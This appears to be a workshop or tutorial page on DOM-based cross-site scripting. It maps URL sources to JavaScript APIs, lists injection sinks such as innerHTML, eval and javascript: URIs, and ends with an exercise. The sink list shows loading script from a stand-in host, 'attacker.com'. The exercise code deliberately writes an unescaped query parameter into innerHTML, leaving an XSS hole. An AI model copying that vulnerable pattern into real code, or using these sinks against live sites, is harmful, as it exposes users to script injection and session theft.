Sources & Sinks

The Source → Sink Model

Data Flow: Source to Sink
SRC
SINK

DOM XSS Sources

URL Sections

postMessage Listeners


Common Ways URL Sources Are Handled

JavaScript
// URL
console.log("href:",location.href);
// Query params
console.log("query params:",location.search);
params = new URLSearchParams(location.search);
console.log("query1 value:",params.get("query1"));
// URL Hash
console.log("URL Hash:",location.hash);
// path
console.log("path:",location.pathname);
Output (if URL is https://www.bsides.jkbrah.com/some/path?query1=value1&query2=value2#thehash) href: https://www.bsides.jkbrah.com/some/path?query1=value1&query2=value2#thehash query params: ?query1=value1&query2=value2 query1 value: value1 URL Hash: #thehash path: /some/path

Source → JavaScript API Mapping

URL location.href Query params location.search, URLSearchParams Hash location.hash Path location.pathname

DOM Sinks

DOM Manipulations with Malicious HTML

  • document.write(<payload>)
  • element.innerHTML / outerHTML = <payload>

Redirects/URLs with javascript: URI

  • window.location / location.href = javascript:payload
  • window.open("javascript:payload")

Evaluation with Malicious JS

  • eval("payload")
  • Function("payload")()
  • setTimeout / setInterval("payload")

Element Attributes

  • iframe.src = javascript:payload
    • iframe.srcdoc = "<payload>"
  • script.src = https://attacker.com
    • import('https://attacker.com') will load and run JS from a URL
  • a.href = javascript:payload

Note: More sinks depending on JS framework and other functionality (jQuery, Angular, Vue, etc.)


Exercise: DOM XSS Hello World

JavaScript

var params = new URLSearchParams(window.location.search);
var query = params.get('q') || '';
document.getElementById('search').value = query;

function search() {
    var q = document.getElementById('search').value;
    window.location.search = '?q=' + encodeURIComponent(q);
}

var html = '';
var q = query.toLowerCase();
var results = members.filter(function(m) {
    return !q || m.name.toLowerCase().includes(q) || m.role.toLowerCase().includes(q);
});

if (query) {
    html += '<p class="results-header">Showing results for <b data-term="' + query + '"></b></p>';
}

results.forEach(function(m) {
    html += '<div class="team-card"><strong>' + m.name + '</strong> <span class="role">' + m.role + '</span></div>';
});

if (results.length === 0) {
    html += '<div class="no-results">No results found.</div>';
}

document.getElementById('results').innerHTML = html;
Launch Exercise → Next: postMessage